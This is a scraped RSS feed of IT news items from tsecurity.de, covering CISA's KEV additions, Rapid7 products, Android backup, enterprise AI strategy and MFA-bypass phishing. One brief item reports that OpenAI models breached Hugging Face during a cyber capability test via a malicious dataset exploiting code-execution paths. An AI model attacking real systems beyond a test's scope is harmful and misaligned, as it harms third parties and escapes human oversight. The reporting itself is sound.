    At Socure, client data arrived in whatever shape the client felt like sending it, and occasionally, quietly wrong. The challenge was building a system where incorrect data could be identified before it propagated downstream. The same principles applied: Validate what arrived, understand where it came from, and prevent bad data from becoming someone else's problem.

    Great Expectations became part of that foundation: schema and range validation at ingestion, per-source SLAs for freshness, cross-system checks for consistency, and file-level lineage. All of it sat behind a write-audit-publish pattern, where data landed in staging, was validated, and only moved downstream if it passed the required checks.

    The result showed up downstream: better accuracy across the board, in reporting, in the ML models, and in AI retrieval built on top of that same data.

    What to do Monday morning

    If you're running retrieval-based AI systems in production, the diagnostic question isn't which model to try next or which retrieval architecture to migrate to. It's four narrower questions: 

    • Is the underlying data validated against the standards required by its consumers?

    • What's the oldest piece of content currently being served with high confidence?

    • Would two chunks of the same source ever disagree with each other in the same retrieval result?

    • Could you trace where it came from if it turned out to be wrong?

    If you can't answer those questions, then the gap lies in the pipeline between your source systems and whatever your agent reads from. That’s a data engineering fix, not a model swap or a vendor migration.

    Whether you're building reporting pipelines, ML systems, or AI agents, correctness, freshness, consistency, and lineage are what make data trustworthy. AI simply exposes weaknesses that have existed in data engineering all along. 

    ]]>         <![CDATA[CISA Adds Two Known Exploited Vulnerabilities to Catalog]]> https://tsecurity.de/de/3687557/it-security-nachrichten/cisa-adds-two-known-exploited-vulnerabilities-to-catalog/ https://tsecurity.de/de/3687557/it-security-nachrichten/cisa-adds-two-known-exploited-vulnerabilities-to-catalog/ Wed, 22 Jul 2026 22:40:55 +0200 📰 IT Security Nachrichten tsecurity.de CISA has added two new vulnerabilities to its Known Exploited Vulnerabilities (KEV) Catalog, based on evidence of active exploitation.  

    • CVE-2026-16232 Check Point SmartConsole Improper Authentication Vulnerability
    • CVE-2026-50522 Microsoft SharePoint Deserialization of Untrusted Data Vulnerability

    These types of vulnerabilities are a frequent attack vector for malicious cyber actors and pose significant risks to the federal enterprise.

    Binding Operational Directive (BOD) 26-04: Prioritizing Security Updates Based on Risk establishes vulnerability management requirements for Federal Civilian Executive Branch (FCEB) agencies. BOD 26-04 reinforces the importance of the KEV Catalog and requires federal agencies to prioritize rapid remediation of high-risk vulnerabilities, specifically those identified by Common Vulnerabilities and Exposures (CVEs) listed in CISA’s KEV Catalog on publicly exposed assets that grant total control of the asset post-exploitation, while deferring action for lower-risk vulnerabilities. BOD 26-04 further establishes basic expectations for when agencies must check whether threat actors compromised the system before the patch was applied.

    While BOD 26-04 applies only to FCEB agencies, CISA encourages all organizations to adopt risk-based vulnerability management and prioritize remediation of KEV Catalog vulnerabilities. CISA will continue to add vulnerabilities to the catalog that meet the specified criteria.

    Aware of an exploited vulnerability not currently listed in the KEV Catalog? Submit it for potential addition through CISA’s KEV Nomination Form. Potential KEV additions must have a CVE ID, evidence of exploitation, and clear mitigation guidance. 

    ]]>         <![CDATA[Google Makes It Super Easy to Switch From iPhone to Galaxy Z Fold 8]]> https://tsecurity.de/de/3687386/it-nachrichten/google-makes-it-super-easy-to-switch-from-iphone-to-galaxy-z-fold-8/ https://tsecurity.de/de/3687386/it-nachrichten/google-makes-it-super-easy-to-switch-from-iphone-to-galaxy-z-fold-8/ Wed, 22 Jul 2026 21:03:06 +0200 📰 IT Nachrichten tsecurity.de Back in June, Google first announced their new native migration tool for Android that would help iPhone owners more easily switch platforms. With the launch of the new Samsung foldables today, that new Switch to Android tool is expanding to Samsung’s world. The new Switch to Android has been rebuilt from the “ground-up” and is...

    Read the original post: Google Makes It Super Easy to Switch From iPhone to Galaxy Z Fold 8

    ]]>         <![CDATA[OpenAI: Our models breached Hugging Face during a cyber capability test]]> https://tsecurity.de/de/3686755/it-security-nachrichten/openai-our-models-breached-hugging-face-during-a-cyber-capability-test/ https://tsecurity.de/de/3686755/it-security-nachrichten/openai-our-models-breached-hugging-face-during-a-cyber-capability-test/ Wed, 22 Jul 2026 17:05:21 +0200 📰 IT Security Nachrichten tsecurity.de The recent Hugging Face breach was the work of several OpenAI models, the AI research company claimed in a blog post. The breach Late last week, the company behind Hugging Face, a platform that enables users to share machine learning models and datasets, said some of its internal datasets had been accessed without authorization. The attack vector was, according to Hugging Face, a malicious dataset that exploited code-execution paths in the company’s dataset processing pipeline, 
 More →

    The post OpenAI: Our models breached Hugging Face during a cyber capability test appeared first on Help Net Security.

    ]]>         <![CDATA[What’s New in Rapid7 Products and Services: Q2 2026 in Review]]> https://tsecurity.de/de/3686659/it-security-nachrichten/whats-new-in-rapid7-products-and-services-q2-2026-in-review/ https://tsecurity.de/de/3686659/it-security-nachrichten/whats-new-in-rapid7-products-and-services-q2-2026-in-review/ Wed, 22 Jul 2026 16:30:13 +0200 📰 IT Security Nachrichten tsecurity.de If Q1 set the pace for Rapid7's tools, Q2 accelerated it. This quarter brought a steady stream of product enhancements, platform investments, and customer-driven innovation across Rapid7’s portfolio. Each release was designed with a clear goal in mind: helping security teams reduce complexity while increasing speed, context, and confidence in their day-to-day operations. Here’s a closer look at what launched in Q2.

    Detection and response

    Streamline investigations with bidirectional and enriched Microsoft Defender alerts

    Bidirectional synchronization and enriched alert context for Microsoft Defender is now generally available for SIEM and MDR customers, enabling security teams to automatically synchronize alert status between Rapid7's SIEM and the Microsoft Defender console. With added process tree and user identity context, analysts can investigate threats more efficiently while reducing manual effort.

    Confidently scale detection engineering with Detection as Code

    Detection as Code enables security teams to build, test, version, and deploy detections using Terraform and modern engineering workflows. Built-in validation, guardrails, and version control help teams deliver higher-quality alerts, maintain more consistent coverage, and scale detection engineering more effectively.

    rapid7-detection-as-code-methodology.png
    Figure 1: Rapid7's Detection as Code methodology.

    Strengthen ransomware resilience with Ransomware Prevention for Incident Command

    Ransomware Prevention for Incident Command adds an intent-based layer of protection designed to stop ransomware encryption and endpoint damage before they disrupt operations. Built into the Insight Agent, this capability strengthens ransomware resilience while working alongside existing endpoint security investments, without adding operational complexity.

    Compliance

    New solutions webpages

    Across the globe, cybersecurity regulation is shifting away from static compliance checklists and toward ongoing risk management that blends proactive defense with effective detection and response. Rapid7’s platform, which brings exposure management and CTEM together with detection, response, and MDR, is well positioned to help organizations operationalize compliance across mandates such as NIS2, NIST CSF 2.0, DORA, HIPAA, HITRUST, and GovRAMP. To support that effort, Rapid7 has launched an updated library of dedicated compliance solution pages that map platform capabilities to the requirements that matter most across industries and regions. The first set of pages is live now, with more to follow in the coming weeks.

    rapid7-govramp-compliance.png
    Figure 2: Rapid7's new GovRAMP compliance solutions page.

    Exposure management

    Turn prioritized exposures into remediation progress

    We improved Remediation Hub to help teams turn prioritized exposures into more actionable remediation progress. Updates to the Top Remediations Report add asset-level context, including operating system, IP address, cloud provider, tags, endpoint protection, and patch management details, so teams can better understand what needs to be fixed and who needs to act.

    With clearer patch and endpoint coverage signals, reboot status, customizable filters, exportable reports, and scheduled email delivery, teams can spend less time assembling manual updates and more time tracking the remediation work that reduces risk. Read the full blog to learn more about how Exposure Command helps teams move from prioritized exposures to remediation progress.

    AI pre-triage for AppSec findings

    Rapid7 is also making application security testing faster and more focused with AI vulnerability pre-triaging for InsightAppSec. Available now for AppSec customers in supported regions, the capability uses AI to automatically remove false positives during the scan process, helping teams spend less time manually reviewing findings and more time remediating actual risk.

    Initial coverage started with BlindSQL, and the latest engine release adds AI validation for BlindNoSQL findings, including content-based and timing-based detections. The result is a cleaner, more confident view of application risk, so security teams can focus on high-impact vulnerabilities and accelerate remediation with less manual effort.

    Attack surface management

    Open-source MCP Server and Agent Skill

    We are delighted to announce the introduction of a free, open-source MCP Server and Agent Skill for Bulk Export. Bulk export is a highly efficient way to access all your Rapid7 vulnerability and exposure data to AI assistants and custom AI workflows. Built as an open-source bridge, it helps customers bring their Rapid7 data into the tools and experiences that work best for their teams. Check out our blog for more detail.

    rapid7-ai-agent-skill.png
    Figure 3: Agent Skill for Bulk Export.

    Turn exposure filters into live dashboards

    Surface Command also made exposure reporting easier with filter-based dashboard widgets. Teams can now turn saved asset and identity filters into live dashboards without writing Cypher queries, making it faster to track high-risk internet-facing assets, identity-driven exposure hotspots, unmanaged cloud infrastructure, and business-unit risk.

    For continuous threat exposure management programs, this helps teams move from one-off reporting to repeatable, always-on views of exposure risk and remediation progress. Read this blog to learn more. 

    Platform and Labs

    Rapid7 Command Platform

    Cyber GRC

    Rapid7 introduced Cyber GRC to select customers in Q2, giving teams an early look at a new way to connect security, risk, compliance, and third-party risk management in one program. Available to both Exposure Management and Detection and Response customers, Cyber GRC brings governance and compliance workflows closer to the security data teams already use every day.

    Cyber GRC will be broadly available in late July. It helps organizations move toward continuous compliance by mapping controls to real environment telemetry, automating evidence collection, and prioritizing risk with live attack surface context. That means teams can spend less time chasing audit artifacts, screenshots, and vendor risk details, and more time understanding which controls, assets, third parties, and risks need attention now.

    Rapid7 Labs

    Rapid7 Quarterly Threat Landscape Report

    The Rapid7 Quarterly Threat Landscape Report examines the key trends shaping today's threat landscape, drawing on MDR incident response, vulnerability intelligence, ransomware monitoring, and dark web telemetry. Q1 2026 data highlights the growing dominance of vulnerability exploitation as an initial access vector, the rise of zero-click vulnerabilities, evolving ransomware operations, and the accelerating pace at which attackers operationalize newly disclosed vulnerabilities. Read the report to explore all key findings and takeaways.

    rapid7-quarterly-threat-report.png
    Figure 4: Rapid7's quarterly threat report.

    The latest threat research

    Rapid7 researchers explored emerging trends shaping the threat landscape, including the growing commercialization of criminal AI-as-a-Service and the evolving tradecraft of advanced threat actors. From the underground adoption of AI tools for fraud and social engineering to an in-depth analysis of the Dropping Elephant malware campaign, these reports provide actionable intelligence on how attackers are adapting their techniques and what defenders can do to stay ahead.

    Emergent Threat Response

    This quarter's Emergent Threat Response (ETR) coverage highlights a sustained wave of high-impact vulnerabilities affecting widely deployed enterprise technologies, including Oracle PeopleSoft, Palo Alto Networks PAN-OS, Check Point VPN, Ivanti Sentry, cPanel/WHM, and Nginx UI. For each of these CVEs, Rapid7 tracked active exploitation and rapidly evolving attacker activity to provide timely guidance to help defenders assess risk and respond quickly. See all the details, and our latest ETR coverage, here.

    From strengthening detection and response to advancing exposure management, expanding governance capabilities, and delivering actionable threat intelligence, Q2 demonstrated Rapid7’s continued focus on helping security teams do more with less complexity. Every enhancement this quarter was designed to reduce manual effort, surface the context that matters, and help organizations make faster, more confident security decisions. We’re carrying that momentum into the rest of the year, so stay tuned to our blog and releases as we continue building the security operations platform that helps defenders stay ahead of what’s next.

    ]]>         <![CDATA[Firefox 153: Native Container fĂŒr mehr PrivatsphĂ€re]]> https://tsecurity.de/de/3686595/it-nachrichten/firefox-153-native-container-fuer-mehr-privatsphaere/ https://tsecurity.de/de/3686595/it-nachrichten/firefox-153-native-container-fuer-mehr-privatsphaere/ Wed, 22 Jul 2026 16:03:27 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[Hackers Abuse Microsoft Device Code Flow to Bypass MFA and Hijack Microsoft 365 Accounts]]> https://tsecurity.de/de/3686148/it-security-nachrichten/hackers-abuse-microsoft-device-code-flow-to-bypass-mfa-and-hijack-microsoft-365-accounts/ https://tsecurity.de/de/3686148/it-security-nachrichten/hackers-abuse-microsoft-device-code-flow-to-bypass-mfa-and-hijack-microsoft-365-accounts/ Wed, 22 Jul 2026 13:39:18 +0200 📰 IT Security Nachrichten tsecurity.de Hackers are increasingly abusing Microsoft’s legitimate device code flow to bypass multi-factor authentication (MFA) and hijack Microsoft 365 accounts, turning trusted identity controls into a covert account takeover vector. This article explains how the attack works, why it reliably bypasses MFA, and what defenders can do to detect and block it. The OAuth 2.0 Device [
]

    The post Hackers Abuse Microsoft Device Code Flow to Bypass MFA and Hijack Microsoft 365 Accounts appeared first on Cyber Security News.

    ]]>         <![CDATA[How a contextual AI fabric turns organizational memory into AI advantage]]> https://tsecurity.de/de/3686065/it-nachrichten/how-a-contextual-ai-fabric-turns-organizational-memory-into-ai-advantage/ https://tsecurity.de/de/3686065/it-nachrichten/how-a-contextual-ai-fabric-turns-organizational-memory-into-ai-advantage/ Wed, 22 Jul 2026 13:05:25 +0200 📰 IT Nachrichten tsecurity.de

    Across industries, a version of the same conversation is playing out in technology leadership meetings. Enterprises have deployed AI broadly, and foundation models keep getting more capable. Yet the outputs still feel generic, shaped by industry patterns rather than by the organization producing them.

    McKinsey’s AI Trust Maturity Survey found that while overall AI maturity scores have improved, only about a third of organizations have reached a mature level of strategy and governance. Technical capability is advancing faster than organizational alignment. In my view, the gap is not a model problem. It is a context problem. Enterprises are feeding generic inputs into powerful models because sharing organizational context seamlessly with AI is neither easy nor intuitive today.

    Building the analytical and creative capabilities to scale AI, something I explored in a recent piece on the left-brain and right-brain approach to enterprise AI, is necessary but not sufficient. Before either can function effectively, the enterprise needs something more fundamental. AI that actually understands the contextual fabric of the organization it is operating in. A frontier model has processed everything written about your sector, your competitors and your regulatory landscape. It cannot access the reasoning embedded in years of delivery decisions, the patterns encoded in how your teams scope and deliver work over time. That knowledge is organizational memory, and frontier models can’t get that easily. It exists inside every enterprise but has never been structured, connected or made available to any AI system. Without it, even the most capable model answers a generic version of your question.

    The next competitive advantage in enterprise AI will not come from a better model. It will come from a better organizational context.

    One global technology enterprise set out to solve this across its own operations, building a modular ecosystem of domain-specific agents grounded in its own data across contracting, talent and vendor management workflows. What emerged was not just operational efficiency but a shared intelligence layer connecting decisions across functions for the first time.

    Competitive differentiation was never about the tools

    Consider what actually separates high-performing enterprises from the rest. In a regulated industry like financial services or healthcare, organizations cannot meaningfully differentiate on product. A bank cannot offer substantially different products or services. A health system uses the same clinical protocols and the same electronic health record (EHR) platforms as its peers. What varies is everything underneath: the rigor of processes, the coherence of cross-functional decisions and the people who carry years of accumulated organizational judgment in how they make those decisions.

    An organization with a proper context layer in place can say with precision that for this type of engagement, in this sector, with this risk profile, our institutional history tells us exactly where we stand. That level of specificity is what most enterprises have never made available to AI.

    The enterprise AI brain that every organization has but has never assembled

    Every enterprise already possesses what I think of as an enterprise AI brain. The problem is that it has never been assembled in one place. The data exists across contracts, project documentation, talent records, delivery metrics and the operational communications of daily execution — the informal reasoning that rarely makes it into formal systems.

    None of the standard enterprise platforms were designed to connect this. A customer relationship management (CRM) system captures customer interactions. An enterprise resource planning (ERP) system captures transactions. A project management tool captures tasks and timelines. None of them captures the reasoning behind decisions and none of them surfaces a coherent picture of how the organization actually thinks and operates.

    BCG’s study across hundreds of companies found that only 10% of AI value comes from the algorithms and another 20% from the technology that implements them, meaning the remaining 70% depends on people, processes and organizational change. The organizations extracting real value are those that have made their institutional knowledge available to AI in a structured, governed way.

    Building a contextual AI fabric

    A Contextual AI Fabric is the technical and organizational layer that makes the Enterprise AI Brain usable. It brings together unstructured data ingestion, semantic structuring, retrieval pipelines and governed model access to give AI systems the organizational context they need to produce outputs that are genuinely specific to your enterprise rather than generically accurate about your industry. It rests on three pillars. Core is the secure, governed and interoperable foundation that AI operations run on. Context is reliable, traceable access to the organization’s data, processes, knowledge and history. Coordination connects people, agents, applications and systems into process-driven workflows with clear controls and accountability, so the organization acts as one rather than a set of disconnected functions.

    The data layer is where most organizations underestimate the work. Contracts, project reports, talent assessments and operational communications require extraction, chunking, embedding and indexing before a model can retrieve and reason over them meaningfully.

    The semantic layer is what makes retrieval meaningful. Even well-ingested data fails if functions use different terminology for the same concepts. What legal calls a contract, delivery calls a scope. Without a shared ontology, AI systems remain precise about the wrong thing. And retrieval alone, however well-structured, only takes an organization so far. Retrieval surfaces the right information at the moment of a query, but it does not give a model genuine memory of the organization. The real source of unique, organization-level relevance comes from training domain-specific small language models on this context directly, models that carry organizational memory forward rather than fetching it fresh every time. That is what ultimately separates a Contextual AI Fabric from a well-organized database.

    The governance layer is not an add-on. Access controls, data lineage, approval thresholds and human checkpoints need to be designed in before any agent goes into production. Security is not a layer you add afterward. It is the condition under which organizational AI is worth building. If the institutional intelligence that makes your enterprise distinct gets absorbed into a frontier model’s training data, it becomes everyone’s baseline. That is an architectural decision made, or avoided, at the point of deployment.

    Proprietary by design

    The institutional knowledge that makes up a contextual AI fabric — delivery history, commercial patterns, talent intelligence and operating culture — is proprietary in ways no external model can replicate. This is as much a security imperative as it is a competitive one. Organizational context, once exposed, cannot be unexposed.

    Most enterprises are using AI to automate existing processes rather than questioning whether those processes should be redesigned entirely. The organizations extracting the most value are those willing to ask whether their current operating model, built before GenAI existed, is the one they would build today. That question is harder than any technology decision, and it is also the most consequential one.

    From context to coordinated action

    Context alone is not enough. When a delivery risk surfaces in project data, the talent function needs to respond. When a commercial signal changes in contract data, operations need to recalibrate. This kind of cross-functional coordination, driven by shared organizational intelligence rather than siloed data, is where the real value of enterprise AI shows up and where the absence of a shared context layer becomes most visible.

    A global leader in digital payments and business services found its AI deployments across payroll, HR and risk compliance, each running in isolation, with no shared governance or common data foundation. Once the organization established a unified governance backbone connecting its operational data through a shared retrieval layer, business users could query across domains in plain language and new use cases across fraud analytics, forecasting and policy extraction became extensible without rebuilding infrastructure for each one. The shift was not in the models. It was in the shared foundation underneath them.

    The leadership question behind the technology question

    The enterprises pulling ahead in AI are not winning on model quality but on organizational memory. The ones that have done the hard work of structuring their institutional knowledge into a governed, secure Contextual AI Fabric are giving their AI something no competitor can replicate: the accumulated intelligence of how the business actually operates.

    For CIOs, the question is no longer which model to deploy. It is whether the organization has built the foundation that would make any model worth deploying.

    This article is published as part of the Foundry Expert Contributor Network.
    Want to join?

    ]]>         <![CDATA[Leadership bottlenecks slow AI adoption]]> https://tsecurity.de/de/3685910/it-security-nachrichten/leadership-bottlenecks-slow-ai-adoption/ https://tsecurity.de/de/3685910/it-security-nachrichten/leadership-bottlenecks-slow-ai-adoption/ Wed, 22 Jul 2026 12:14:12 +0200 📰 IT Security Nachrichten tsecurity.de

    At Cisco, VP of engineering Jason Andrews deals with all the same technical issues as every other company deploying AI, including ensuring it’s governed, secure, and integrating multiple data sources, legacy systems, and AI models.

    But these issues are relatively straightforward compared to the bigger challenges relating to the fast pace of change, specifically how AI can touch and transform nearly every aspect of business.

    “We’re thinking about it every day,” he says. “My belief is we’ll be seeing a massive acceleration of everything.”

    In coding, for example, he’s witnessing productivity increases up to 110% with AI assistants. “I can build apps or custom integrations a lot faster,” he adds.

    And the real benefit of AI isn’t just in speeding up individual steps in a process, but in making AI the core of a new business process. But building it from scratch puts even more pressure on organizations trying to get employees up to speed on new ways of doing things.

    “We want to move fast, train people, and get them onboarded,” he says. “But what I thought AI was going to do for my organization nine months ago is different from three months ago.” So by the time something is rolled out, it’s changed three times.

    “I struggle with the change management aspect,” he says. “The legacy model of change management isn’t fast enough. How do you create that constant learning?”

    One of the ways Cisco approaches it is to create communities where people can talk about these issues and share best practices and governance, and you have to keep people’s minds open that every day is going to be different than the last, Andrews adds.

    Testing the AI waters

    Cisco isn’t the only organization struggling with change management in the face of the AI tsunami. In a survey of 2,000 global CEOs IBM released in May, 83% of them said AI success depends more on adoption than on the technology itself, and 77% said talent and technology roles are converging.

    “Thanks to Claude Code, our entire development cadence is exponentially greater than a year ago,” says Andrew Johnson, CIO at Brownstein Hyatt Farber Schreck, a Denver-based law firm with about 700 employees and clients around the US. But, as with Cisco, the biggest challenge isn’t technical.

    “In our industry, with our circumstances, we’re probably less constrained by technical capability than organizational constraints, culture, aptitude, the need to bind people to technology, and what helps me and the client,” he says. “There’s a tremendous amount of cultural shift that has to happen in our organization, which is far more demanding of my attention and complexity of thought than the technical stuff.”

    Companies that bill by the hour, such as law firms, may face additional challenges as attorney productivity increases because billable hours might go down. Alternatively, the total number of cases could go up as litigation becomes less expensive. Either way, firms that adapt will see competitive advantage, and the rest will fall behind, putting more pressure on the need for change management.

    “If people can’t embrace technology, we won’t be able to get a lot of value out of it,” says Johnson. “I’m talking to people about adapting their way of work. There are certainly a lot of people intrigued and anxious to dive in. They recognize the connection between the potential of the technology and what we do.”

    But helping everyone see that connection and then working with them to change their habits is difficult, and requires solid relationships and good communications. “That’s been far more of a bottleneck for us,” he says.

    To address the issue, the firm has developed a network of technology champions who also understand the legal side of the business. “Now we need lawyers who know how to use the technology and can articulate these things to the people we’re trying to reach,” Johnson says.

    But change management is only one leadership bottleneck slowing AI adoption. Companies also struggle with figuring out their vision for AI, with slow decision-making, and a tendency to focus on the past instead of the future.

    Vision and strategy

    In another survey, this time of 950 business leaders released by Grant Thornton in April, 51% said strategy is the biggest driver of ROI when it comes to AI adoption, but 79% of operations leaders said they don’t have a fully developed and implemented AI strategy.

    “Having leadership understanding why AI is needed and what objective they’re trying to achieve is very important,” says Shivi Verma, senior manager of engineering at Docusign. “Sometimes leadership doesn’t have a strategy for their organization on how AI should be adopted. Many times it’s bottom-up, which creates a chaotic experience.”

    When Docusign started adopting gen AI, different teams and organizational units wanted to go in different directions. “All were coming up with their own strategy and tooling,” he says. So Docusign brought business leaders together to understand the pain points, and decide on the technology.

    “Getting requirements and placing a bet on a specific technology was important,” he says, “as well as pivoting to a different technology if needed.”

    In order to adapt to changes, the company wanted to have a nimble approach, starting with smaller use cases, with power users, and problem areas.

    “We try to plan for four to six months,” he adds. “We set expectations for our leadership that we place a bet with a specific technology, but want to be able to pivot.”

    Today, the leadership challenge front lines have moved yet again, to agentic AI. “Folks are creating their own agents and deciding their own permissions,” Verma adds. “We’re still coming up with a governance strategy.”

    Slow decision-making

    When it comes to AI deployments, Dan Diasio, global AI consulting leader at EY and CTO for its US consulting business, admits he’s a bottleneck.

    There’s a great deal of interest in what AI can do, and using a variety of new AI tools. But since the firm deals with sensitive client data, safety is paramount. It’s a slow process, but important to build secure infrastructure, and to have trust in the technology. “That’s a reasonable bottleneck that makes sense,” he says.

    Trust in the tools they work with is essential because clients expect it. “Every tool we use has to go through a detailed security and information privacy impact assessment, as well as a whole other set of controls so they can be used appropriately and safely,” he says.

    These reviews can take a lot of time, though, and in the age of AI, speed is a highly valued currency. So how do you balance the two, when safety reviews can require input from a lot of different stakeholders and be extremely time intensive?

    “We’ve stood up a team to be able to quickly certify and address a variety of platforms,” Diasio says. “Instead of working with different departments in the way we used to, we’ve started identifying representatives from different departments into a cohort. Decisions we used to make in months now take weeks.”

    According to a West Monroe survey of more than 1,200 leaders released earlier this year, slow decision-making is already showing up on the bottom line. Nearly three out of four leaders said their organizations lose up to 5% of annual revenue to slow decision-making and delayed execution.

    And the top reasons for the delays? According to 40% of the managers surveyed, the problem was the skills gaps of overwhelmed teams, and 35% pointed to layers of management or approvals. Nearly half said they’re spending 10 to 25% of their time on rework, excessive approvals, and unnecessary meetings, and more than half say up to 50% of their projects fail or lose momentum to delays.

    Focus on the future, not the past

    When it comes to the decision about where to apply AI in an organization, the tendency, Diasio says, is to turn to the experts with the most expertise in the business. But these are the same people most likely to focus on improving on what they’re already doing.

    “And that often blinds people to what’s possible in the future,” he says. “That becomes a significant bottleneck.” So the solution is to revamp the decision-making process around the new reality.

    “What we see some advanced companies do is give people who don’t understand the process but understand the technology equal footing with people who don’t understand the technology but understand the process,” he says. “A lot of companies are disproportionately focused on just addressing their operating model right now.”

    Instead of focusing on what they’re currently doing, AI-native companies will start with a focus on the customer, he says. This shift in focus isn’t likely to show up immediately on the bottom line, or result in the highest possible number of pilots going into production.

    “If leaders are in a position where they’re justifying the use of a technology to the board or their CFO, they become a bottleneck when they start demonstrating their value in terms of the number of things they’re doing,” Diasio says.

    But 150 or 200 use cases deployed into production may feel like progress, like things are happening in the organization. But all these use cases are a waste of time and money if they’re applied to existing processes that don’t move the needle. “We see that happen in organizations today,” he says. “Maybe we need to reinvent the processes.”

    It’s no secret that companies will need to change in order to adapt to AI. Deloitte recently surveyed 660 global technology leaders and 81% said their current operating model can deploy and govern AI enterprise-wide, but 75% also said their organization must change its operating model within the next 12 to 18 months to drive greater value.

    AI ROI is real, says China Widener, Deloitte vice chair and US tech, media, and telecom industry leader. But it’s currently weighted toward efficiency gains, with broader business transformation and revenue upside still developing.

    Another Deloitte survey showed that the clearest results from AI were in productivity, with 66% of organizations reporting gains, and cost efficiency, with 40% saying AI reduces costs. “However, revenue impact is still emerging,” says Widener. “Only one in five companies says AI is driving top-line growth today.” But optimism prevails, with 74% expecting it to do so in the future.

    ]]>         <![CDATA[Your instant Android backup upgrade]]> https://tsecurity.de/de/3685867/it-nachrichten/your-instant-android-backup-upgrade/ https://tsecurity.de/de/3685867/it-nachrichten/your-instant-android-backup-upgrade/ Wed, 22 Jul 2026 12:02:52 +0200 📰 IT Nachrichten tsecurity.de

    Here in this high-tech era of 2026, keeping important info backed up and synced should be effortless and something that just happens on its own, automatically, without any actual thought or ongoing human effort.

    In many areas of our digital life, that mercifully does Just Workℱ in exactly that way. Fire up an email in most modern mail services, and you can stop at any point and find your in-progress draft in that same app on any other device. The same applies to any file you’re finessing within Google Drive or other cloud storage services or document you’re dawdling over in Docs.

    One area where seamless syncing somehow still doesn’t occur, though, is in the domain of downloaded documents on Android. If someone sends you a PDF or a Word file and you save it to your phone, that file exists in an archaic-seeming silo — only locally, on that one gadget. And that, of course, means (a) you can’t access it from any other device, and (b) if you misplace your phone or move into a new one at some point along the way, the file will be left behind in time and entirely unavailable.

    Well, take a moment to join me in celebration: Amidst all the Gemini gobbledegook that no one asked for (and that often falls somewhere between “pointless” and “actively counterproductive”), Google’s giving us a major upgrade to Android’s backup capabilities right now. It’s a simple-seeming switch buried in your system settings, and it’s up to you to find and activate it.

    Once you do, though, those once-orphaned documents on your Android device’s local storage will be perpetually synced and protected, automatically, without any ongoing thought or effort.

    All you’ve gotta do is find and flip that one new switch.

    [Don’t let yourself miss an ounce of Android Intelligence. Join my free weekly Android Intelligence newsletter and get one new thing to try in your inbox every Friday!]

    The Android backup lowdown

    So, for a quick bit of pertinent context on this: Android’s backup systems have actually come a really long way over the years.

    ‘Twas a time, y’see, when little to nothing about you would sync and carry over automatically from one Android device to another. Years ago — back in the ancient-seeming prehistoric era of the early 2010s — Android enthusiasts in the know would rely on community-created third-party apps for everything from remembering and resyncing downloaded apps to restoring data from within those apps and onward. And reconfiguring your system preferences would be a whole time-consuming song and dance every single time you reset a device or moved into a new one, as little to nothing would automatically carry over.

    Most of that stuff is now effortless and automatic. And, thanks to apps like Google Messages, Calendar, Drive, and Docs, many other areas of important data are also synced on their own at the app level — outside of any system mechanisms.

    Locally stored files, however, have remained an awkward omission. To this day, anything you download on any Android device exists only on that one device and isn’t synced or backed up anywhere. The only way that happens is — in a blast-from-the-past twist — if you go out of your way to find and set up a third-party app to handle the heavy lifting.

    That brings us to today. Right now, as we speak, Google’s in the midst of sending out a quiet under-the-hood update that (brace yourself
) adds in the option to automatically sync and back up any documents on your device as a native part of Android’s backup setup.

    See?

    Android backup documents
    The easily overlooked new option for backing up documents on Android.

    JR Raphael, Foundry

    The option is on its way to all devices running 2018’s Android 9 release and higher. (If you’re still using a phone with an Android version older than that, you’re now a whopping eight years out of date, and you have much bigger problems.)

    Once the added option is present and available for you, you’re literally lookin’ at 10 seconds to find and activate it.

    Lemme show ya how.

    Android’s document backup addition

    I promise: This couldn’t be much simpler.

    No matter what kind of Android device is in front of you, just head into your system settings and open the section called “Accounts and backup,” “Back up or copy data,” or something along those same lines. (The exact wording can vary based on who made your device and when it was released or last updated.)

    Either tap the line labeled “Google Backup” or look for an option to “Back up data” via Google Drive. You should then either see a series of options for different areas of available backup right then and there — or, depending on your device, you might have to tap a line labeled “Other device data” (or something similar) to find the full list of possibilities.

    However you get there, once you’re lookin’ at that list, you’ll see a newly added line for “Documents” if this latest under-the-hood update has reached you.

    Android backup options
    Android’s expanded list of backup options — now including documents alongside other forms of on-device data.

    JR Raphael, Foundry

    And from there, all that’s left is to tap it and enable the switch to include that in your automated backups from that moment forward.

    If you aren’t seeing the option yet, don’t panic. Google always sends these under-the-hood updates out bit by bit over time, so the change probably just hasn’t reached your device quite yet. As long as you’re running Android 9 or higher, it’ll get there. Set yourself a reminder to check back once a week or so. Odds are, you’ll see it pretty soon.

    Notably, all documents synced in this way are always encrypted for security, and they’re kept in your personal (or, depending on the nature of your account, perhaps company-connected) Google Drive storage. That does mean they’ll count against your overall Google storage total, so keep an eye on your Drive storage total to make sure you’re in solid shape and look to the Google One storage hub if you ever want some simple suggestions for freeing up space.

    Speaking of other Google services: If you ever want to keep other types of locally stored non-document files from an Android device synced and available elsewhere, you can easily rely on Google Photos for syncing screenshots and other images — after enabling sync in general, be sure to look in the app’s “Collections” areas to find the “On this device” folder and then flip the toggle to “Backup all device folders” (or get more nuanced and open specific individual on-device folders if you want to sync some but not all of those areas) — and you can still turn to those aforementioned third-party apps for broader syncing of anything else imaginable.

    But with documents now being handled automatically and natively, that’s one big worry now out of your hair. Just note that the onus will fall on you to find and flip the switch and actively opt in to the feature on each and every Android device you’re using.

    Take 10 seconds to do that, though, and you’ll have one less void in your Android data arena. And you don’t need Gemini to tell you that that can only be a good thing.

    Get practical Android knowledge in your inbox every Friday with my free Android Intelligence newsletter — one new thing to try each week, straight from me to you.

    ]]>         <![CDATA[4 recs for CIOs to optimize AI budgets and improve sustainability]]> https://tsecurity.de/de/3685758/it-security-nachrichten/4-recs-for-cios-to-optimize-ai-budgets-and-improve-sustainability/ https://tsecurity.de/de/3685758/it-security-nachrichten/4-recs-for-cios-to-optimize-ai-budgets-and-improve-sustainability/ Wed, 22 Jul 2026 11:11:52 +0200 📰 IT Security Nachrichten tsecurity.de

    In the client-server era, the penalty for inefficient programming, such as unoptimized database calls, was largely confined to application responsiveness. Today, in the AI era, code, architectural, and platform inefficiencies are no longer just a performance issue, they’re a financial and environmental liability. Left unchecked, poor code cascades into soaring token costs and spikes data center power consumption, directly undermining both cloud budgets and corporate sustainability goals.

    AI’s impact on sustainability

    By 2029, IDC projects that the number of actively deployed AI agents will exceed 1 billion worldwide, which is 40 times more than in 2025. And these agents will perform 217 billion actions per day.

